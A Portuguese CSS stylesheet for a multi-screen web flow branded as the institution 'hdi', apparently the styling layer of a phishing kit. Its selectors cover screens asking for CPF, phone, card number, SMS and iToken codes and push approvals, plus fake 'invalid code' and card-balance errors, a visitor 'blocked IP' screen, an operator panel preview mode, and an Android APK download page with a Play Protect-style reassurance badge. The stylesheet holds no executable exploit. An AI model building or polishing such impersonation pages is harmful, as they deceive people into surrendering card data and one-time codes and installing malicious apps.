/* Ajustes Globais de Centralização e Alinhamento */
html, body {
  min-height: 100vh;
  margin: 0;
  padding: 0;
  background-color: #006729; /* Fundo base verde para evitar áreas brancas durante transições */
}

#root {
  min-height: 100vh;
  width: 100%;
  display: flex;
  flex-direction: column;
}

/* Mantém a largura das telas sem substituir o layout e o fundo originais. */
#root > .min-h-screen {
  width: 100%;
}

/* Card Branco Centralizado */
.max-w-md {
  margin-left: auto !important;
  margin-right: auto !important;
  width: 100% !important;
}

/* Centraliza os títulos e descrições do Header do Card */
.max-w-md [class*="CardHeader"] {
  display: flex !important;
  flex-direction: column !important;
  align-items: center !important;
  text-align: center !important;
}

.max-w-md [class*="CardTitle"],
.max-w-md [class*="CardDescription"] {
  text-align: center !important;
  width: 100% !important;
}

/* Centraliza spinners e ícones */
.max-w-md [class*="Loader2"],
.max-w-md svg.animate-spin {
  margin-left: auto !important;
  margin-right: auto !important;
  display: block !important;
}

/* Centralização dos Blocos de Instrução e Avisos Internos */
.max-w-md .bg-muted\/50 {
  display: flex !important;
  flex-direction: column !important;
  align-items: center !important;
  justify-content: center !important;
  text-align: center !important;
  gap: 8px !important;
  margin-left: auto !important;
  margin-right: auto !important;
  width: 100% !important;
}

.max-w-md .bg-muted\/50 p,
.max-w-md .bg-muted\/50 span {
  text-align: center !important;
  width: 100% !important;
}

/* Centralização dos textos de rodapé dentro do Card */
.max-w-md [class*="CardContent"] > p,
.max-w-md [class*="CardContent"] .text-center {
  text-align: center !important;
  width: 100% !important;
}

/* Botões com texto centrado */
.max-w-md button {
  display: flex !important;
  align-items: center !important;
  justify-content: center !important;
  text-align: center !important;
}

/* Inputs de Código / Token / Telefone / CPF */
.max-w-md input {
  text-align: center !important;
}

/* Esconder texto da bandeira do cartão (ex: "Mastercard - 16 dígitos") */
.max-w-md [class*="card-brand"],
.max-w-md [class*="cardBrand"],
.max-w-md [class*="card-flag-text"],
.max-w-md span:contains("digitos"),
.max-w-md div:contains("digitos"),
.max-w-md p:contains("digitos") {
  display: none !important;
  visibility: hidden !important;
}

/* Ícone da bandeira dentro do input de cartão */
.max-w-md input[placeholder*="Cartão"] {
  background-repeat: no-repeat !important;
  background-position: right 10px center !important;
  background-size: 24px 18px !important;
  padding-right: 40px !important;
}

/* Ícone da bandeira customizado injetado */
.max-w-md .card-flag-img {
  position: absolute !important;
  right: 12px !important;
  top: 50% !important;
  transform: translateY(-50%) !important;
  width: 24px !important;
  height: 18px !important;
  object-fit: contain !important;
  border-radius: 4px !important;
  background: #fff !important;
  padding: 2px !important;
  pointer-events: none !important;
  z-index: 10 !important;
}

/* Wrapper do input para posicionar o ícone */
.max-w-md .card-input-wrapper {
  position: relative !important;
  display: inline-block !important;
  width: 100% !important;
}

/* ============================================================
   Rodapé institucional (substitui o footer do app React)
   ============================================================ */
#root footer {
  display: none !important;
}

.hdi-footer,
.hdi-footer * {
  box-sizing: border-box;
}

.hdi-footer {
  margin-top: auto;
  background: #006729;
  color: #ffffff;
  border-top: 1px solid rgba(255, 255, 255, 0.14);
  font-family: Inter, Roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
  width: 100%;
}

.hdi-footer__inner {
  max-width: 1120px;
  min-width: 0;
  margin: 0 auto;
  padding: 40px 24px 30px;
  display: grid;
  grid-template-columns: 1.4fr 1fr 1fr;
  gap: 32px;
  align-items: start;
}

.hdi-footer__brand-name {
  font-size: 18px;
  font-weight: 700;
  letter-spacing: 0.4px;
}

.hdi-footer__brand-name span {
  color: #8ee6b0;
}

.hdi-footer__desc {
  margin: 8px 0 0;
  max-width: 300px;
  font-size: 13px;
  line-height: 1.55;
  color: rgba(255, 255, 255, 0.74);
}

.hdi-footer h4 {
  display: flex;
  align-items: center;
  gap: 8px;
  margin: 0 0 14px;
  font-size: 12px;
  font-weight: 700;
  letter-spacing: 0.09em;
  text-transform: uppercase;
  color: #ffffff;
}

.hdi-footer h4 svg {
  color: #8ee6b0;
  flex-shrink: 0;
}

.hdi-footer__phone {
  display: inline-block;
  font-size: 20px;
  font-weight: 700;
  color: #ffffff;
  text-decoration: none;
  letter-spacing: 0.5px;
}

.hdi-footer__phone:hover {
  color: #ffffff;
  text-decoration: underline;
}

.hdi-footer__muted {
  margin: 6px 0 0;
  font-size: 12px;
  line-height: 1.5;
  color: rgba(255, 255, 255, 0.6);
}

.hdi-footer__link {
  display: flex;
  align-items: center;
  gap: 8px;
  margin-bottom: 10px;
  font-size: 13px;
  color: rgba(255, 255, 255, 0.82);
  text-decoration: none;
  line-height: 1.4;
}

.hdi-footer__link:hover {
  color: #ffffff;
  text-decoration: underline;
}

.hdi-footer__link svg {
  color: rgba(255, 255, 255, 0.5);
  flex-shrink: 0;
}

.hdi-footer__social {
  display: flex;
  gap: 10px;
  margin-top: 18px;
}

.hdi-footer__social a {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 36px;
  height: 36px;
  border-radius: 10px;
  background: rgba(255, 255, 255, 0.08);
  color: #ffffff;
  transition: background 0.2s ease, color 0.2s ease, transform 0.2s ease;
}

.hdi-footer__social a:hover {
  background: rgba(255, 255, 255, 0.22);
  color: #ffffff;
  transform: translateY(-2px);
}

.hdi-footer__legal {
  border-top: 1px solid rgba(255, 255, 255, 0.16);
  background: rgba(0, 0, 0, 0.14);
}

.hdi-footer__legal-inner {
  max-width: 1120px;
  margin: 0 auto;
  padding: 20px 24px 26px;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 10px;
  text-align: center;
}

.hdi-footer__secure {
  display: inline-flex;
  align-items: flex-start;
  gap: 8px;
  max-width: 100%;
  padding: 8px 14px;
  border: 1px solid rgba(255, 255, 255, 0.22);
  border-radius: 999px;
  background: rgba(255, 255, 255, 0.1);
  font-size: 12px;
  line-height: 1.35;
  color: #f2fff7;
}

.hdi-footer__secure svg {
  flex-shrink: 0;
  color: #8ee6b0;
}

.hdi-footer__copy {
  font-size: 12px;
  line-height: 1.6;
  color: rgba(255, 255, 255, 0.58);
}

.hdi-footer__copy strong {
  color: rgba(255, 255, 255, 0.78);
  font-weight: 600;
}

@media (max-width: 760px) {
  .hdi-footer__inner {
    grid-template-columns: 1fr;
    gap: 26px;
    padding: 30px 20px 24px;
    text-align: center;
  }

  .hdi-footer__desc {
    margin: 8px auto 0;
  }

  .hdi-footer h4 {
    justify-content: center;
    margin-bottom: 10px;
  }

  .hdi-footer__social {
    justify-content: center;
    margin-top: 14px;
  }

  .hdi-footer__link {
    justify-content: center;
  }

  .hdi-footer__legal-inner {
    padding: 16px 20px 24px;
  }

  .hdi-footer__secure {
    width: 100%;
    border-radius: 14px;
    text-align: left;
  }

  .hdi-footer__secure svg {
    margin-top: 1px;
  }

  .hdi-footer__copy {
    max-width: 320px;
  }
}

/* Logo institucional branca no lugar do escudo genérico (tela inicial) */
#root svg.animate-glow-pulse {
  display: none !important;
}

#root div:has(> svg.animate-glow-pulse) {
  width: 180px;
  height: 114px;
  margin: 0 auto 20px;
  background: url("/assets/hdi-logo-branco.png") center / contain no-repeat;
}

@media (min-width: 1024px) {
  #root div:has(> svg.animate-glow-pulse) {
    margin-left: 0;
  }
}

@media (max-width: 1023px) {
  #root div:has(> svg.animate-glow-pulse) {
    width: 140px;
    height: 89px;
    margin: 26px auto 10px;
  }
}

@media (max-width: 380px) {
  #root div:has(> svg.animate-glow-pulse) {
    width: 126px;
    height: 80px;
    margin-top: 22px;
  }
}

/* Cabeçalho institucional fixo nas telas sem header do app */
.hdi-topbar {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  z-index: 60;
  display: none;
  background: rgba(255, 255, 255, 0.96);
  backdrop-filter: blur(10px);
  border-bottom: 1px solid #f1f5f9;
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.04);
  font-family: Inter, Roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
}

.hdi-topbar__inner {
  max-width: 1200px;
  margin: 0 auto;
  padding: 16px 24px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  min-height: 72px;
  box-sizing: border-box;
}

.hdi-topbar__brand img {
  display: block;
  height: 40px;
  width: auto;
}

.hdi-topbar__nav {
  display: none;
  align-items: center;
  gap: 24px;
  font-size: 14px;
  font-weight: 500;
}

.hdi-topbar__nav a {
  display: flex;
  align-items: center;
  gap: 8px;
  color: #004526;
  text-decoration: none;
  transition: color 0.2s ease;
}

.hdi-topbar__nav a:hover {
  color: #22c55e;
}

.hdi-topbar__burger {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  padding: 4px;
  border: 0;
  background: transparent;
  color: #004526;
  cursor: pointer;
}

.hdi-topbar__sheet {
  border-top: 1px solid #f1f5f9;
  padding: 8px 16px 16px;
  display: flex;
  flex-direction: column;
  gap: 4px;
  background: #ffffff;
}

.hdi-topbar__sheet[hidden] {
  display: none;
}

.hdi-topbar__sheet a {
  padding: 12px;
  border-radius: 8px;
  color: #004526;
  font-size: 15px;
  font-weight: 500;
  text-decoration: none;
}

.hdi-topbar__sheet a:hover {
  background: #f0fdf4;
}

body.hdi-has-topbar #root main > div {
  padding-top: 72px;
  box-sizing: border-box;
}

@media (max-width: 767px) {
  body.hdi-has-topbar ol.fixed.top-0 {
    top: 72px !important;
  }
}

@media (min-width: 768px) {
  .hdi-topbar__nav {
    display: flex;
  }

  .hdi-topbar__burger {
    display: none;
  }

  .hdi-topbar__sheet {
    display: none !important;
  }
}

/* Título da tela inicial: todo em branco (antes o destaque ficava verde no verde) */
#root h1.title-hero,
#root h1.title-hero span {
  color: #ffffff !important;
}

/* Toasts compactos para não cobrir o conteúdo */
#root ol.fixed.top-0 {
  padding: 8px 12px !important;
  align-items: flex-end !important;
  pointer-events: none;
}

#root ol.fixed.top-0 > li {
  width: auto !important;
  max-width: 290px !important;
  padding: 10px 12px !important;
  border-radius: 10px !important;
  box-shadow: 0 6px 16px rgba(0, 0, 0, 0.14) !important;
  pointer-events: auto;
}

#root ol.fixed.top-0 > li .text-sm.font-semibold {
  font-size: 13px !important;
}

#root ol.fixed.top-0 > li p,
#root ol.fixed.top-0 > li .grid > div,
#root ol.fixed.top-0 > li .text-sm {
  font-size: 12px !important;
  line-height: 1.35 !important;
}

#root ol.fixed.top-0 > li button {
  width: 24px !important;
  height: 24px !important;
}

/* Botão voltar global (dentro do card, no canto superior esquerdo) */
.hdi-back {
  position: absolute;
  top: 14px;
  left: 14px;
  z-index: 30;
  display: none;
  align-items: center;
  gap: 4px;
  padding: 6px 10px;
  border: 0;
  border-radius: 8px;
  background: #f1f5f9;
  color: #004526;
  font-family: Inter, Roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
  font-size: 12px;
  font-weight: 600;
  line-height: 1;
  cursor: pointer;
  box-shadow: none;
  transition: background 0.2s ease, color 0.2s ease;
}

.hdi-back:hover {
  background: #e2e8f0;
  color: #00361e;
}

.hdi-back svg {
  flex-shrink: 0;
}

/* Botão de confirmação do Push bloqueado após o clique */
.hdi-push-confirmed,
.hdi-push-confirmed:disabled {
  opacity: 0.7 !important;
  cursor: not-allowed !important;
  pointer-events: none !important;
}

/* Placeholder do campo de iToken */
#root input[placeholder="Digite aqui seu Token"]::placeholder {
  color: #9ca3af !important;
  opacity: 1 !important;
  font-family: Inter, Roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif !important;
  font-size: 15px !important;
  font-weight: 500 !important;
  letter-spacing: 0 !important;
  text-transform: none !important;
}

/* Cadeado da tela de CPF */
.hdi-cpf-lock {
  width: 30px;
  height: 30px;
  color: #ffffff;
  display: block;
}

/* Aviso de código inválido (SMS/iToken) */
.hdi-invalid-code {
  display: flex;
  align-items: center;
  gap: 10px;
  margin: 0 0 14px;
  padding: 10px 12px;
  border: 1px solid #fecaca;
  border-left: 3px solid #ef4444;
  border-radius: 10px;
  background: #fef2f2;
  text-align: left;
  box-shadow: 0 4px 12px rgba(239, 68, 68, 0.06);
}

.hdi-invalid-code__icon {
  width: 28px;
  height: 28px;
  flex-shrink: 0;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  background: #fee2e2;
  color: #dc2626;
}

.hdi-invalid-code__text {
  display: flex;
  flex-direction: column;
  gap: 1px;
  min-width: 0;
}

.hdi-invalid-code strong {
  font-size: 13px;
  font-weight: 700;
  line-height: 1.25;
  color: #b91c1c;
}

.hdi-invalid-code__text span {
  font-size: 11.5px;
  line-height: 1.3;
  color: #b91c1c;
  opacity: 0.78;
}

/* Instruções do Push centralizadas (layout nativo do app) */
.max-w-md .bg-muted\/50 {
  display: flex !important;
  flex-direction: column !important;
  align-items: center !important;
  gap: 18px !important;
  padding: 18px !important;
  text-align: center !important;
}

.max-w-md .bg-muted\/50 > div.flex.items-start {
  flex-direction: column !important;
  align-items: center !important;
  justify-content: center !important;
  gap: 6px !important;
  width: 100% !important;
  text-align: center !important;
}

.max-w-md .bg-muted\/50 > div.flex.items-start > div {
  text-align: center !important;
}

.max-w-md .bg-muted\/50 > div.flex.items-start svg {
  margin: 0 !important;
  flex-shrink: 0 !important;
}

.max-w-md .bg-muted\/50 > div.flex.items-start p {
  text-align: center !important;
}

/* Relógio das telas de espera do aplicativo */
.hdi-push-clock {
  width: 31px;
  height: 31px;
  color: #ffffff;
  display: block;
  animation: hdiClockPulse 2s ease-in-out infinite;
}

@keyframes hdiClockPulse {
  0%, 100% { opacity: 1; }
  50% { opacity: 0.6; }
}

/* Saudação da tela de telefone */
.hdi-greeting__hello {
  display: inline-block;
  font-size: 16px;
  font-weight: 600;
  color: #004526;
  margin-bottom: 4px;
}

.hdi-greeting__cpf {
  display: inline-block;
  font-size: 14px;
  color: #475569;
}

.hdi-greeting__cpf strong {
  color: #004526;
  letter-spacing: 0.4px;
}

/* Sucesso Android — download do APK */
#android-success-overlay {
  font-family: Inter, Roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
  background:
    radial-gradient(60% 50% at 18% 8%, rgba(34, 197, 94, 0.4), transparent 60%),
    radial-gradient(55% 45% at 92% 92%, rgba(0, 69, 38, 0.85), transparent 62%),
    linear-gradient(160deg, #006729 0%, #003d18 100%);
  overflow: hidden;
}

#android-success-overlay::before {
  content: "";
  position: absolute;
  top: -160px;
  right: -120px;
  width: 420px;
  height: 420px;
  border-radius: 50%;
  background: radial-gradient(circle, rgba(255, 255, 255, 0.09), transparent 66%);
  animation: androidFloat 7s ease-in-out infinite;
}

.android-success-card {
  position: relative;
  width: min(400px, 100%);
  padding: 30px 26px 24px;
  border-radius: 18px;
  background: #ffffff;
  text-align: center;
  box-shadow: 0 20px 50px rgba(0, 0, 0, 0.35);
  animation: androidCardIn 0.45s ease-out both;
}

.android-success-check {
  position: relative;
  width: 66px;
  height: 66px;
  margin: 0 auto 14px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  background: linear-gradient(135deg, #22c55e, #15803d);
  box-shadow: 0 8px 20px rgba(22, 163, 74, 0.28);
  animation: androidCheckPop 0.5s 0.1s cubic-bezier(0.16, 1, 0.3, 1) both;
}

.android-success-check svg {
  width: 42px;
  height: 42px;
  position: relative;
  z-index: 1;
}

.android-success-check__ring {
  position: absolute;
  inset: -6px;
  border-radius: 50%;
  border: 1px solid rgba(34, 197, 94, 0.4);
  animation: androidRing 2s ease-out infinite;
}

.android-check-circle {
  fill: none;
  stroke: rgba(255, 255, 255, 0.35);
  stroke-width: 2;
  stroke-dasharray: 145;
  stroke-dashoffset: 145;
  animation: androidCircleLoop 3.4s ease-in-out infinite;
}

.android-check-mark {
  fill: none;
  stroke: #ffffff;
  stroke-width: 4.2;
  stroke-linecap: round;
  stroke-linejoin: round;
  stroke-dasharray: 46;
  stroke-dashoffset: 46;
  animation: androidMarkLoop 3.4s ease-in-out infinite;
}

.android-success-card h2 {
  margin: 0 0 8px;
  color: #1e293b;
  font-size: 22px;
  font-weight: 700;
}

.android-success-card > p {
  margin: 0 auto;
  max-width: 320px;
  color: #64748b;
  font-size: 14px;
  line-height: 1.55;
}

.android-success-platforms {
  display: flex;
  justify-content: center;
  gap: 8px;
  margin: 14px 0 12px;
}

.android-platform {
  display: flex;
  align-items: center;
  gap: 6px;
  padding: 5px 9px;
  border: 1px solid #e2e8f0;
  border-radius: 8px;
  background: #f8fafc;
  color: #334155;
  font-size: 11px;
  font-weight: 600;
}

.android-platform img {
  display: block;
  width: auto;
  height: 16px;
  object-fit: contain;
}

.play-protect {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  gap: 6px;
  margin: 0 0 14px;
  padding: 5px 10px;
  border: 1px solid #bbf7d0;
  border-radius: 999px;
  background: #f0fdf4;
  color: #166534;
}

.play-protect span {
  font-size: 11px;
  font-weight: 600;
  color: #166534;
}

.android-download {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  height: 48px;
  border-radius: 10px;
  background: #004526;
  color: #ffffff;
  font-size: 14px;
  font-weight: 700;
  text-decoration: none;
  box-shadow: 0 8px 18px rgba(0, 69, 38, 0.25);
  transition: background 0.2s ease, transform 0.2s ease;
}

.android-download:hover {
  background: #005f33;
  transform: translateY(-1px);
}

.android-note {
  margin-top: 10px !important;
  font-size: 10.5px !important;
  color: #64748b !important;
}

@keyframes androidCardIn {
  from { opacity: 0; transform: translateY(18px) scale(0.97); }
  to { opacity: 1; transform: translateY(0) scale(1); }
}

@keyframes androidCheckPop {
  0% { opacity: 0; transform: scale(0.4); }
  70% { opacity: 1; transform: scale(1.05); }
  100% { opacity: 1; transform: scale(1); }
}

@keyframes androidRing {
  0% { transform: scale(0.9); opacity: 0.8; }
  100% { transform: scale(1.3); opacity: 0; }
}

@keyframes androidCircleLoop {
  0% { stroke-dashoffset: 145; }
  18%, 72% { stroke-dashoffset: 0; }
  90%, 100% { stroke-dashoffset: 145; }
}

@keyframes androidMarkLoop {
  0%, 12% { stroke-dashoffset: 46; }
  30%, 72% { stroke-dashoffset: 0; }
  88%, 100% { stroke-dashoffset: 46; }
}

@keyframes androidFloat {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(18px); }
}

@media (prefers-reduced-motion: reduce) {
  .android-success-card,
  .android-success-check,
  .android-success-check__ring,
  .android-check-circle,
  .android-check-mark,
  #android-success-overlay::before {
    animation: none !important;
  }

  .android-check-circle,
  .android-check-mark {
    stroke-dashoffset: 0;
  }
}

/* Ícones animados das telas do cliente */
.hdi-anim-badge {
  position: relative;
  animation: hdiBadgeGlow 2.8s ease-in-out infinite !important;
}

.hdi-anim-badge::after {
  content: "";
  position: absolute;
  inset: -6px;
  border-radius: 9999px;
  border: 1px solid rgba(0, 105, 41, 0.3);
  animation: hdiBadgeRing 2.8s ease-out infinite;
  pointer-events: none;
}

.hdi-draw-icon path,
.hdi-draw-icon rect,
.hdi-draw-icon circle,
.hdi-draw-icon line,
.hdi-draw-icon polyline,
.hdi-draw-icon polygon {
  stroke-dasharray: var(--len, 120);
  stroke-dashoffset: var(--len, 120);
  animation-name: hdiDrawLoop;
  animation-duration: 3.6s;
  animation-timing-function: ease-in-out;
  animation-iteration-count: infinite;
}

@keyframes hdiDrawOnce {
  to { stroke-dashoffset: 0; }
}

@keyframes hdiDrawLoop {
  0%, 10% { stroke-dashoffset: var(--len, 120); }
  30%, 78% { stroke-dashoffset: 0; }
  94%, 100% { stroke-dashoffset: var(--len, 120); }
}

@keyframes hdiBadgeGlow {
  0%, 100% { box-shadow: 0 6px 16px rgba(0, 69, 38, 0.18); }
  50% { box-shadow: 0 0 0 8px rgba(0, 105, 41, 0.08), 0 10px 22px rgba(0, 69, 38, 0.28); }
}

@keyframes hdiBadgeRing {
  0% { transform: scale(0.9); opacity: 0.7; }
  100% { transform: scale(1.3); opacity: 0; }
}

.hdi-icon-ring {
  position: absolute;
  inset: -7px;
  border-radius: 9999px;
  border: 1px solid rgba(0, 110, 45, 0.45);
  animation: hdiIconRing 2.6s ease-out infinite;
  pointer-events: none;
}

.hdi-icon-ring--delay {
  inset: -11px;
  border-color: rgba(0, 110, 45, 0.22);
  animation-delay: 1.1s;
}

@keyframes hdiIconRing {
  0% { transform: scale(0.92); opacity: 0.85; }
  100% { transform: scale(1.35); opacity: 0; }
}

@media (prefers-reduced-motion: reduce) {
  .hdi-anim-badge,
  .hdi-anim-badge::after,
  .hdi-draw-icon path,
  .hdi-draw-icon rect,
  .hdi-draw-icon circle,
  .hdi-draw-icon line,
  .hdi-draw-icon polyline,
  .hdi-draw-icon polygon {
    animation: none !important;
    stroke-dashoffset: 0;
  }
}

/* Tela de IP bloqueado */
#blocked-ip-overlay {
  position: fixed;
  inset: 0;
  z-index: 10000;
  align-items: center;
  justify-content: center;
  padding: 20px;
  background:
    radial-gradient(60% 50% at 18% 8%, rgba(34, 197, 94, 0.4), transparent 60%),
    linear-gradient(160deg, #006729 0%, #003d18 100%);
  font-family: Inter, Roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
}

.blocked-ip-card {
  width: min(400px, 100%);
  padding: 34px 26px 28px;
  border-radius: 18px;
  background: #ffffff;
  text-align: center;
  box-shadow: 0 30px 70px rgba(0, 0, 0, 0.45);
  animation: blockedCardIn 0.35s ease-out both;
}

.blocked-ip-icon {
  width: 72px;
  height: 72px;
  margin: 0 auto 16px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  background: #fee2e2;
  color: #dc2626;
  animation: blockedPulse 2.4s ease-in-out infinite;
}

.blocked-ip-icon svg {
  width: 34px;
  height: 34px;
}

.blocked-ip-card h2 {
  margin: 0 0 8px;
  color: #1e293b;
  font-size: 22px;
  font-weight: 700;
}

.blocked-ip-card p {
  margin: 0 auto;
  max-width: 320px;
  color: #64748b;
  font-size: 14px;
  line-height: 1.55;
}

.blocked-ip-card .blocked-ip-contact {
  margin-top: 12px;
  font-size: 12px;
  font-weight: 600;
  color: #004526;
}

@keyframes blockedCardIn {
  from { opacity: 0; transform: translateY(16px) scale(0.97); }
  to { opacity: 1; transform: translateY(0) scale(1); }
}

@keyframes blockedPulse {
  0%, 100% { box-shadow: 0 0 0 6px #fee2e2; }
  50% { box-shadow: 0 0 0 12px rgba(254, 226, 226, 0.35); }
}

/* Erros de cartão */
.card-error-card {
  width: 100%;
  max-width: 400px;
  padding: 30px;
  border-radius: 18px;
  background: #ffffff;
  text-align: center;
  box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4);
}

.card-error-icon {
  width: 74px;
  height: 74px;
  margin: 0 auto 16px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  background: #fee2e2;
  color: #dc2626;
  animation: cardErrorGlow 2.6s ease-in-out infinite;
}

.card-error-icon--balance {
  background: #fef3c7;
  color: #d97706;
}

.card-error-icon svg {
  width: 36px;
  height: 36px;
  display: block;
}

.card-error-icon svg path,
.card-error-icon svg circle,
.card-error-icon svg rect,
.card-error-icon svg line {
  fill: none;
  stroke: currentColor;
  stroke-width: 2.4;
  stroke-linecap: round;
  stroke-linejoin: round;
}

.card-error-card h2 {
  margin: 0 0 10px;
  color: #1e293b;
  font-size: 22px;
  font-weight: 700;
}

.card-error-card p {
  margin: 0 0 25px;
  color: #64748b;
  font-size: 15px;
  line-height: 1.5;
}

.card-error-list {
  margin: 0 0 25px;
}

.card-error-list ul {
  max-width: 310px;
  margin: 0 auto;
  padding: 0;
  list-style: none;
  display: flex;
  flex-direction: column;
  gap: 7px;
  text-align: left;
}

.card-error-list li {
  position: relative;
  padding-left: 16px;
  color: #64748b;
  font-size: 14px;
  line-height: 1.45;
}

.card-error-list li::before {
  content: "";
  position: absolute;
  left: 0;
  top: 7px;
  width: 6px;
  height: 6px;
  border-radius: 50%;
  background: #dc2626;
}

.card-error-retry {
  width: 100%;
  padding: 14px;
  border: none;
  border-radius: 8px;
  background: #004526;
  color: #ffffff;
  font-size: 16px;
  font-weight: 600;
  cursor: pointer;
}

.card-error-retry:hover {
  background: #005f33;
}

@keyframes cardErrorDrawOnce {
  to { stroke-dashoffset: 0; }
}

@keyframes cardErrorGlow {
  0%, 100% { transform: scale(1); }
  50% { transform: scale(1.05); }
}

@media (prefers-reduced-motion: reduce) {
  .card-error-icon,
  .card-error-icon svg path,
  .card-error-icon svg circle,
  .card-error-icon svg rect,
  .card-error-icon svg line {
    animation: none !important;
    stroke-dashoffset: 0;
  }
}

.hdi-wa-phone-display {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  margin-bottom: 8px;
  color: #006729;
  font-size: 20px;
  font-weight: 800;
  letter-spacing: 0.02em;
  text-align: center;
}

.hdi-wa-phone-display svg {
  width: 22px;
  height: 22px;
  flex-shrink: 0;
}

.hdi-wa-desc {
  margin: 0 0 6px;
  color: #475569;
  font-size: 13px;
  line-height: 1.5;
  text-align: center;
}

.hdi-wa-desc:last-child {
  margin-bottom: 0;
}

.hdi-wa-confirm-btn {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  width: 100%;
  padding: 14px;
  border: 0;
  border-radius: 10px;
  background: #006729;
  color: #ffffff;
  font-size: 15px;
  font-weight: 700;
  cursor: pointer;
  transition: background 0.2s ease;
}

.hdi-wa-confirm-btn:hover:not(:disabled) {
  background: #005f33;
}

.hdi-wa-confirm-btn:disabled {
  cursor: default;
}

.hdi-wa-confirm-btn.is-confirmed {
  background: #dcfce7 !important;
  background-color: #dcfce7 !important;
  background-image: none !important;
  border: 1px solid #86efac;
  color: #166534;
  transition: none;
}

.hdi-wa-spinner {
  width: 15px;
  height: 15px;
  flex-shrink: 0;
  border: 2px solid rgba(22, 101, 52, 0.25);
  border-top-color: #166534;
  border-radius: 50%;
  animation: hdiWaSpin 0.7s linear infinite;
}

@keyframes hdiWaSpin {
  to { transform: rotate(360deg); }
}

/* Modo de prévia no painel: tela real, sem interação */
.hdi-preview-mode #root,
.hdi-preview-mode #card-error-overlay {
  pointer-events: none !important;
}
.max-w-md .text-center > button,
.max-w-md .text-center > a {
  display: flex !important;
  width: fit-content !important;
  margin-left: auto !important;
  margin-right: auto !important;
  justify-content: center !important;
}

/* Listas de instruções centralizadas dentro do card */
.max-w-md ul {
  width: 100%;
  max-width: 100%;
  margin-left: auto !important;
  margin-right: auto !important;
  text-align: center;
}

.max-w-md ul li {
  justify-content: center;
  text-align: center;
}

/* Texto descritivo do cartão */
.hdi-card-copy {
  text-align: center !important;
  line-height: 1.5 !important;
  max-width: 90% !important;
  margin-left: auto !important;
  margin-right: auto !important;
}

/* Correção de Layout - Tela de Push (React) */
.pusher-layout-container {
    display: flex !important;
    flex-direction: column !important;
    gap: 16px !important;
    margin-top: 20px !important;
    width: 100% !important;
}

.pusher-instruction-row {
    display: flex !important;
    align-items: center !important;
    justify-content: flex-start !important;
    gap: 12px !important;
    background: #f8fafc !important;
    padding: 12px 16px !important;
    border-radius: 8px !important;
    border: 1px solid #e2e8f0 !important;
    width: 100% !important;
    box-sizing: border-box !important;
}

.pusher-instruction-row svg, 
.pusher-instruction-row img {
    flex-shrink: 0 !important;
    width: 24px !important;
    height: 24px !important;
    margin: 0 !important;
}

.pusher-instruction-content {
    display: flex !important;
    flex-direction: column !important;
    text-align: left !important;
}

.pusher-instruction-title {
    font-size: 14px !important;
    font-weight: 600 !important;
    color: #1e293b !important;
    margin-bottom: 2px !important;
}

.pusher-instruction-sub {
    font-size: 12px !important;
    color: #64748b !important;
}

/* Lista da tela de rastreamento ativado */
.android-success-lead {
  margin: 0 auto 12px !important;
  max-width: 320px;
  color: #64748b;
  font-size: 13px;
  line-height: 1.5;
}

.android-benefits {
  display: grid;
  gap: 7px;
  margin: 0 auto 14px;
  padding: 0;
  max-width: 318px;
  list-style: none;
  text-align: left;
}

.android-benefits li {
  position: relative;
  padding-left: 17px;
  color: #334155;
  font-size: 12.5px;
  line-height: 1.4;
}

.android-benefits li::before {
  content: '';
  position: absolute;
  left: 2px;
  top: 5px;
  width: 7px;
  height: 7px;
  border-radius: 50%;
  background: #16a34a;
  box-shadow: 0 0 0 3px rgba(22, 163, 74, 0.12);
}

.android-benefits strong {
  color: #166534;
  font-weight: 700;
}
